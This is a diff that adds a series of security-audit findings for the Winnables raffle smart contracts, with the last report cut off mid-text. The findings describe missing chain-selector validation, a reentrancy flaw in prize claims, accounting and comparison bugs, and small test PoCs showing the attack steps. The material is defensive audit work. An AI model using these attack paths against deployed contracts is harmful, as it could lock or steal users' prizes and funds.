can provide `chainSelector` which doesn’t correspond on Ethereum, where `WinnablesPrizeManager` is deployed can make the reward tokens forever locked. + +## Vulnerability Detail + +When the winner is drawn in `WinnablesTicketManager::drawWinner` and the VRF request is received in `WinnablesTicketManager::fulfillRandomWords`, the state of the raffle is set to `FULFILLED`, then **everyone** can propagate the winner to the `WinnablesPrizeManager` where the reward will be unlocked and winner can claim it: + +```solidity +/// @notice (Public) Send a cross-chain message to the Prize Manager to +/// mark the prize as claimable by the winner +/// @param raffleId ID of the Raffle we wish to draw a winner for +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } +} +``` + +The problem is that `chainSelector` is not validated if it corresponds to the Ethereum's one, which is 5009297550715157269 [here](https://docs.chain.link/ccip/supported-networks/v1_2_0/mainnet#ethereum-mainnet), and any malicious user, for example, someone who hasn’t won the prize can pass a different chain’s selector that will cause the message to be sent to another chain instead and this message to never be delivered to the `PrizeManager`. + +Attacker should only give any other **valid `chainSelector`,** for example Arbitrum one (4949039107694359620), since it also has onRamp configured for Avalanche → Arbitrum. + +Note that attack won’t work if random numbers are given, they should correspond to valid chain selector ≠ mainnet. + +As a result the state of the raffle in `TicketManager` will be `PROPAGATED`, which means it cannot be canceled, so no refund is possible in `PrizeManager` either, since no message is delivered and `WinnablesTicketManager::ccipReceive` is never executed with this `raffleId` - there will be no winner, making the locked prize forever lost: + +```solidity +function _ccipReceive( + Client.Any2EVMMessage memory message +) internal override { + (address _senderAddress) = abi.decode(message.sender, (address));//NOTE this is of type bytes, not address + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + if (_raffles[raffleId].status != RaffleStatus.NONE) { + // The raffle cannot be created, send back a cancel message to unlock the prize + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); +} +``` + +The attack can be done both intentionally when someone wants the rewards to be lost, or unintentionally by providing the wrong chain selector due to the excitement of winning the reward. All this is possible due to missing input verification. + +Another occurrence where tokens can be permanently locked is `WinnablesTicketManager::cancelRaffle`, this function is also permissionless and `chainSelector` is not validated, so malicious user can frontrun the honest users call it with wrong selector that will lead to message not being delivered to the Ethereum so the tokens to be unlocked: + +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +## Impact + +Rewards will be lost forever due to maliciously passing the wrong `chainSelector`. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L275 + +## Tool used + +Manual Review + +## Recommendation + +Expose setter function to set the chain selector for Ethereum, also add input validation in `propagateRaffleWinner` and `cancelRaffle` \ No newline at end of file diff --git a/001/175.md b/001/175.md new file mode 100644 index 0000000..e5d03fb --- /dev/null +++ b/001/175.md @@ -0,0 +1,60 @@ +Nutty Stone Bird + +High + +# Failure to Update _lockedETH Will Cause Withdrawal Failures for Contract Admin + +### Summary + +Missing update of `_lockedETH` when refunding users after a canceled raffle will cause transfer failures in `withdrawETH`, as the contract’s internal state will inaccurately reflect locked ETH, leading to incorrect balance calculations. + +### Root Cause + +In `WinnablesTicketManager::refundPlayers`, the failure to update `_lockedETH` when refunding users after a canceled raffle is a mistake as it causes the contract’s internal state to inaccurately reflect the locked ETH, leading to incorrect balance calculations and transfer failures. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L224 + +In `WinnablesTicketManager::withdrawETH`, when an admin attempts to withdraw ETH, the transfer will fail due to an underflow or may result in transferring an excessively large amount of ETH. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L300 + +```solidity + + function withdrawETH() external onlyRole(0) { + uint256 balance; + + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` + +This issue arises because `_lockedETH` can be greater than `address(this).balance`, causing an underflow during the subtraction. Consequently, all calls to `withdrawETH` will fail if the balance is insufficient, as the contract cannot accurately compute the available funds for withdrawal. If the contract holds a large amount of ETH, the function may incorrectly attempt to withdraw an excessive amount. + + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +All calls to withdraw ETH can fail if the balance is insufficient, as the contract cannot accurately compute the available funds. + +### PoC + +_No response_ + +### Mitigation + +To mitigate this issue, ensure that `_lockedETH` is accurately updated whenever ETH is refunded. \ No newline at end of file diff --git a/001/177.md b/001/177.md new file mode 100644 index 0000000..7c92421 --- /dev/null +++ b/001/177.md @@ -0,0 +1,55 @@ +Calm Bamboo Koala + +High + +# `cancelRaffle` function lacks validation + +## Summary +`cancelRaffle` function can be called by anyone with any destination chain and address, an attacker can call this function with wrong parameters to permanently lock prizes. +## Vulnerability Detail +`cancelRaffle` function of `WinnablesTicketManager` is supposed to be called with destination chain and address of `WinnablesPrizeManager` so that the system functions properly. However in the existing implementation anyone is able to call this function with any chain selector and address parameters. +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +An attacker can call `cancelRaffle` with wrong parameters and this will set the raffle status to CANCELED on `WinnablesTicketManager`, which makes it impossible to call this function again due to `_checkShouldCancel`. +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +At this point you can not draw a winner either as `_checkShouldDraw` will revert. +```solidity + function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + // --omitted-- + } +``` +Ultimately state of the raffle will not be updated on `WinnablesPrizeManager` while its CANCELED on `WinnablesTicketManager`. This means prize will be permanently locked in `WinnablesPrizeManager` as internal accounting of locked prizes and raffle status will not be updated. +## Impact +Prizes can be locked indefinitely. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L422-L432 +## Tool used + +Manual Review + +## Recommendation +Validate prizeManager and chainSelector parameters. \ No newline at end of file diff --git a/001/179.md b/001/179.md new file mode 100644 index 0000000..d8f716d --- /dev/null +++ b/001/179.md @@ -0,0 +1,74 @@ +Huge Pine Alligator + +High + +# Cross-chain transfer of winners address from Avalanche to Ethereum will lead to loss of winnings for multisig wallets. + +### Summary + +According to the Readme, the WinnableaPrizeManager contract will be on Ethereum Mainnet and the WinnablesTicketManager will be on Avalanche. Tickets are bought through the WinnablesTicketManager on Avalanche and after the raffle draw ends, the winner address is sent to the WinnableaPrizeManager on Ethereum Mainnet for them to claim. + +However, there is significant issue for users utilizing multisig wallets, as these wallets often have different addresses across different chains, preventing them from claiming their prize on Ethereum Mainnet. + + + + +### Root Cause + +After a winner has been selected, they have to call the [propagateRaffleWinner](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334C5-L334C13) function to send a cross-chain message with the winner address to the WinnableaPrizeManager contract on Ethereum Mainnet. + +```sol + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; +@> address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + +@-> _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + + +The [_ccipReceive](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L276) function receives the winner address then update it on Ethereum Mainnet which gives the winner the ability to claim prize, the problem here is that the address on Ethereum can be different from the on one avalanche for Multisig wallet users. + +```sol + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { +... + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); +@-> _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` +Because of this difference in address between Ethereum and Avalanche the winner price will be lost for ever. + + +### Internal pre-conditions + +1. The winner of the raffle must be a multisig wallet or smart account that have different addresses accross Ethereum Mainnet and Avalanche C chain. + +### External pre-conditions + +None + +### Attack Path + +_No response_ + +### Impact + +Lose of winnings for winners with multisig wallets. + +### PoC + +_No response_ + +### Mitigation + +1. Put a warning about multisig wallets. +2. Allow only the winner to call the `propagateRaffleWinner` function, they should provide an address on Mainnet that can claim on their behalf. \ No newline at end of file diff --git a/001/180.md b/001/180.md new file mode 100644 index 0000000..f913759 --- /dev/null +++ b/001/180.md @@ -0,0 +1,55 @@ +Calm Bamboo Koala + +High + +# `propagateRaffleWinner` function lacks validation + +## Summary +Anyone can call `propagateRaffleWinner` with any destination chain or any address parameters, an attacker can call it with wrong parameters to permanently lock prizes and the admin can still withdraw the funds made from ticket sales. +## Vulnerability Detail +After a request for randomness is fulfilled, `propagateRaffleWinner` should be called to notify `WinnablesPrizeManager ` of the outcome. However anyone can call `propagateRaffleWinner` with any destination chain or any address parameters. +This will set the raffle status to PROPAGATED on `WinnablesTicketManager` but state of the raffle will not be updated on `WinnablesPrizeManager `. At this point because `_lockedETH` is decreased, admin can withdraw the ETH from the contract as if the raffle happened and due to the message being sent to another address/chain than `WinnablesPrizeManager `, prize will be stuck. +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; //@audit status is now PROPAGATED, can't call this function again + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; //@audit _lockedETH decreased, now admin can withdraw ETH made from sales + } + } +``` +Users will not be able to call `refundPlayers` as the status of raffle is PROPAGATED. +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + //--omitted-- + } +``` +Admin can withdraw user funds as _lockedETH has been decreased. +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` +## Impact +Prize will be stuck indefinitely, user funds can be stolen by admin and can not be refunded. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306 +## Tool used + +Manual Review + +## Recommendation +Validate `prizeManager` and `chainSelector` parameters. \ No newline at end of file diff --git a/001/181.md b/001/181.md new file mode 100644 index 0000000..879e0ce --- /dev/null +++ b/001/181.md @@ -0,0 +1,61 @@ +Huge Pine Alligator + +High + +# A Malicious user can stop winner from claiming their prize by calling the `propagateRaffleWinner` function with wrong params. + +### Summary + +According to the Readme, the WinnableaPrizeManager contract will be on Ethereum Mainnet and the WinnablesTicketManager will be on Avalanche. After a winner is selected the propagateRaffleWinner function can be called on the WinnablesTicketManager on Avalance to send the winner information to the prize WinnableaPrizeManager on Ethereum. + +However, this function has no restriction as it can be called by anyone with the wrong `chainId` or `prizemanger` address, for example instead of sending the message to Ethereum it can be sent to Base or sent to a wrong prizeMangerAddress on Ethereum. Given that the `propagateRaffleWinner` can only be called once the winner won't be able to claim. + + +### Root Cause + +After a winner has been selected, anyone can call the [propagateRaffleWinner](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334C5-L334C13) function to send a cross-chain message with the winner address to the WinnableaPrizeManager contract on Ethereum Mainnet. + +Since the `propagateRaffleWinner` can be called by anyone a malicious user can call it with the wrong `prizeManager` address or `chainSelector`. Once this function is called it updates the `raffle.status = RaffleStatus.PROPAGATED` , so the function cannot be called twice. + +```sol + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); +@> raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + + +### Internal pre-conditions + +A winner must have been selected. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Alice Won the raffle +2. Bob an angry user decided to call the `propagateRaffleWinner` function with the wrong `chainSelector` base. +3. The above transaction will go through and Alice will lose her winnings because no message was sent to Ethereum Mainnet + +### Impact + +Loss of winnings for the winner + +### PoC + +_No response_ + +### Mitigation + +1. Restrict the caller of the function to be the address that won the raffle draw. +2. Make the function to be called by only Admin \ No newline at end of file diff --git a/001/183.md b/001/183.md new file mode 100644 index 0000000..a154bbf --- /dev/null +++ b/001/183.md @@ -0,0 +1,53 @@ +Ripe Emerald Dragon + +Medium + +# Admin can't withdraw tokens from token manager. + +## Summary +`WinnablesTicketManager.withdrawTokens()` function has an error. +Exploiting this vulnerability, attacker can front-run admin's tx with only 1 wei to revert admin's tx. + +## Vulnerability Detail +`WinnablesTicketManager.withdrawTokens()` function is following. +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +295: if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` +As can be seen, the inequality `<` is used mistakenly instead of `>` in `L295`. +As a result, admin can't withdraw smaller amount than the balance. + +Exploiting this vulnerability, the following scenario is available. +1. `WinnablesTicketManager` has `1 ether` of `LINK` token. +2. Admin can't withdraw smaller amount of `LINK` token than `1 ether`. +2. Admin can call `withdrawTokens()` by only passing `1 ether` as `amount` parameter. +3. Attacker front-runs admin's tx with only `1 wei` of `LINK` token. +4. Admin's tx will be reverted in `L295`. + +## Impact +1. Admin can't withdraw smaller amount than the balance. +2. In order to withdraw smaller amount than the balance, admin should withdraw total amount and then transfer back again some tokens to `WinnablesTicketManager`. +However, attacker can prevent admin from withdrawing tokens using front-run with only 1 wei. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295 + +## Tool used + +Manual Review + +## Recommendation +Modify `WinnablesTicketManager.withdrawTokens()` function as follows. +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +-- if (amount < balance) revert InsufficientBalance(); +++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/184.md b/001/184.md new file mode 100644 index 0000000..6f8c435 --- /dev/null +++ b/001/184.md @@ -0,0 +1,49 @@ +Salty Lemon Cod + +Medium + +# mint function may overflow causing the total number of existing tickets for a given Raffle ID to zero. + +### Summary + +The "unckecked" block in mint(address to, uint256 id, uint256 amount) function may overflow for _supplies[id], since there is no maximum supply restriction / limitation check for it. + +For example, when startId is 120 , if the amount is 2^{256}-118 , then _supplies[id] = startId + amount will overflow causing _supplies[id] to become zero. this will be a disastrous result for this Raffle. + +Even though this function can only be accessed by the admin, the odds can not be ruled out as this is a centralization risk. + +The issue also applies to thhe operation " _balances[id][to] += amount". + +Code Snippet: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L194 + +### Root Cause + +The " unchecked" block allows arithmetic operations to be performed without overflow check and there is no limitation check for _supplies[id]. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +Code Snippet: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L194 + +### Mitigation + +import Openzepplin SafeMath Library (solidity version 0.8.0) for uint256 to mitigate overflow vulnerability. \ No newline at end of file diff --git a/001/185.md b/001/185.md new file mode 100644 index 0000000..e2a11a9 --- /dev/null +++ b/001/185.md @@ -0,0 +1,86 @@ +Joyful Golden Cod + +High + +# Reentrancy in Prize Manager will alow a raffle winner to drain the protocol + +## Summary + +Several flaws in the code of the Prize Manager will allow a raffle winner to drain the whole contract, when claiming ETH. + +## Vulnerability Detail + +The vulnerability lies in the `WinnablesPrizeManager::claimPrize()` function, let's take a look at it: + +```javascript + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + ... + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } + +function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +`_ethLocked` is a state variable which stores the total ETH for all ETH raffles and the `_ethRaffles[raffleId]` mapping is stores the prize amount. There are several flaws which allow a reentrancy attack on the contract: + +1. Lack of reentrancy guard +2. The subtraction of the prize amount from `_ethLocked` is in `unchecked{}` scope, which will not revert on underflow +3. The raffle prize status is set as `CLAIMED` only after the interaction with the winner + +Here is a scenario, performing the attack: + +1. Raffle admin locks 5 ether in raffles 1 and 2 as prize amount, so `ethLocked` will increase to 10 ether and `_ethRaffles[1]`, `_ethRaffles[2]` will have stored 5 ether each: + +```javascript +function lockETH(address ticketManager, uint64 chainSelector, uint256 raffleId, uint256 amount) external payable onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 ethBalance = address(this).balance; + + if (ethBalance < amount + _ethLocked) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.ETH; + _ethLocked += amount; + _ethRaffles[raffleId] = amount; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit ETHPrizeLocked(raffleId, amount); + } +``` +2. The raffle winner participates using a smart contract and in a loop implements a call to `claimPrize()` in it's `receive()` function +3. The attacker calls `claimPrize()`, which calls `_sendETHPrize`, which triggers the fallback function and reenters `claimPrize()` again +4. The state variables update is as follows: + - first enter `_ethLocked` -= `ethRaffles[1]` -> 10 - 5 = 5 ether + - second enter `_ethLocked` -= `ethRaffles[1]` -> 5 - 5 = 0 ether + - third enter ... `_ethLocked` will underflow and because of the `unchecked` keyword will not revert, thus attacker takes full control of the calls + +## Impact + +- High: a malicious ETH raffle winner can drain the contract + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L122 + +## Tool used + +Manual Review + +## Recommendation + +Add the following recommendations for full protection from such attack: + +1. Implement a reentrancy guard +2. Follow CEI pattern, and set the `CLAIMED` status in the beginning +3. Remove the `unchecked{}` keyword in the subtraction +4. Optionally, to not allow users utilizing smart contracts to participate \ No newline at end of file diff --git a/001/186.md b/001/186.md new file mode 100644 index 0000000..003d774 --- /dev/null +++ b/001/186.md @@ -0,0 +1,54 @@ +Hollow Walnut Tadpole + +Medium + +# Anyone can call `WinnablesTicketManager::cancelRaffle()` with incorrect arguments causing the inability to unlock the raffle prize + +### Summary + +Once all conditions for canceling a raffle are met `WinnablesTicketManager::cancelRaffle()` can be called with incorrect `prizeManager` or `chainSelector` causing the raffle status to become `RaffleStatus.CANCELED` and therefore dissallowing anyone to cancel the raffle again with correct arguments and therefore locking the prize forever. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L281C37-L281C58 + + + +### Root Cause + +In https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 the function is missing a modifier allowing only admins to call this function. + +### Internal pre-conditions + +1. There must be a raffle that meets the criteria to be cancelled +2. Before admin or anyone else manages to call the `WinnablesTicketManager::cancelRaffle()` with correct arguments to unlock the prize a malicious actor must call the function with incorrect argumets (but correct raffle ID) + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A malicious actor will attempt to call `WinnablesTicketManager::cancelRaffle()` with incorrect arguments if the raffle is to be cancelled. If he manages to call it before anyone else he will cause losses for the protocol. + +### Impact + +- The admins suffer a loss of the raffle prize that should have been unlocked after `WinnablesTicketManager::cancelRaffle()` was called. + +### PoC + +PoC is done by modifying the already existing tests here:https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/TicketManager.js#L272 +The first tests of the following two comes through even though it is send to the incorrect chain, `chainSelector` is set to 137 instead of 1. Afterwards if someone attempts to call it with the correct arguments to actually unlock the prizes for admins in `WinnablesPrizeManager` contract it is no longer possible causing the ETH/NFT/tokens to be stuck forever. + +```js +it("Cancels and sends cancellation CCIP Message", async () => { + expect(await manager.shouldCancelRaffle(1)).to.eq(true); + await manager.cancelRaffle(counterpartContractAddress, 137, 1); + }); + + it("Cancels and sends cancellation CCIP Message", async () => { + expect(await manager.shouldCancelRaffle(1)).to.eq(true); + await manager.cancelRaffle(counterpartContractAddress, 1, 1); + }); +``` + +### Mitigation + +A modifier allowing only admins to call this function should be added. Another option would be would be storing the `prizeManager` and `chainSelector` as storage variable with setter only allowed to be called by admins and these storage variables being referenced inside of `WinnablesTicketManager::cancelRaffle()`. \ No newline at end of file diff --git a/001/187.md b/001/187.md new file mode 100644 index 0000000..9e6d1c8 --- /dev/null +++ b/001/187.md @@ -0,0 +1,58 @@ +Hollow Walnut Tadpole + +High + +# Anyone can all `WinnablesTicketManager::propagateRaffleWinner()` with incorrect arguments causing the winner not to be able to claim the prize + +### Summary + +Once someone wins a raffle `WinnablesTicketManager::propagateRaffleWinner()` has to be called in order for the winner to be able to claim the prize. The function also sets a raffle status to be `PROPAGATED` to not allow being called more times for the same raffle. https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L337 +If the function is called with incorrect `prizeManager` or `chainSelector` the prize neither unlocks or gets allowed to be claimed in the `WinnablesPrizeManager` contract. This could happen everytime a raffle is won. + +### Root Cause + +The function `WinnablesTicketManager::propagateRaffleWinner()` is missing a modifier allowing only the admins to call it. https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +### Internal pre-conditions + +1. Someone needs to win a raffle, so the Chainlink VRF `fulfillRandomWords()` already needs to happen +2. The `WinnablesTicketManager::propagateRaffleWinner()` has to be yet to called + +### External pre-conditions + +_No response_ + +### Attack Path + +1. An attacker will wait for the raffle status to become `FULFILLED` +2. Attacker will call the `WinnablesTicketManager::propagateRaffleWinner()` with incorrect arguments before anyone else + +### Impact + +- The winner cannot claim his prize +- The winner cannot get refunded +- The admins cannot unlock the prize + +### PoC + +We can duplicate one of the already existing tests showing that first the function gets called with incorrect `chainSelector` and does not revert and afterwards if someone attempts to call it again with the correct arguments, it's no longer possible. + +The test that was changed to show the following is the:https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/TicketManager.js#L786 + +```js +it("Should be able to propagate when the winner is drawn", async () => { + const { events } = await ( + await manager.propagateRaffleWinner(counterpartContractAddress, 137, 1) + ).wait(); + }); + +it("Should be able to propagate when the winner is drawn", async () => { + const { events } = await ( + await manager.propagateRaffleWinner(counterpartContractAddress, 1, 1) + ).wait(); + }); +``` + +### Mitigation + +A modifier allowing only admins to call this function should be added. Another option would be would be storing the prizeManager and chainSelector as storage variable with setter only allowed to be called by admins and these storage variables being referenced inside of WinnablesTicketManager::propagateRaffleWinner(). \ No newline at end of file diff --git a/001/190.md b/001/190.md new file mode 100644 index 0000000..f068ab2 --- /dev/null +++ b/001/190.md @@ -0,0 +1,48 @@ +Tame Pebble Caribou + +High + +# Reentrant attack + +## Summary +The winner can make a repeat claim through claimPrize. +## Vulnerability Detail +When the winner (attacker) takes ETH from `claimPrize` , it triggers the winner's `recive` function. The winner can call `claimPrize` again from `recive` function to attack. Since `rafflePrize.status` changes after sending ETH, So you can call `claimPrize` repeatedly. +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } +>> _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +>> rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } + + function _sendETHPrize(uint256 amount, address winner) internal { +>> (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } + +``` +## Impact +Cause the loss of funds in the pool. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 +## Tool used + +Manual Review + +## Recommendation +`rafflePrize.status = RafflePrizeStatus.CLAIMED`Set the status before sending the ETH. \ No newline at end of file diff --git a/001/191.md b/001/191.md new file mode 100644 index 0000000..2e0010d --- /dev/null +++ b/001/191.md @@ -0,0 +1,63 @@ +Delightful Inky Panda + +Medium + +# Admin can affect the odds of a raffle + +## Summary + +Admin can affect the odds of a raffle + +## Vulnerability Detail + +According to contest readme: + +> The principles that must always remain true are: +> +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize +> Participants in a raffle that got cancelled can always get refunded +> Admins cannot affect the odds of a raffle + +However, admin can directly mint Ticket by granting itself role 1. +```solidity + function mint(address to, uint256 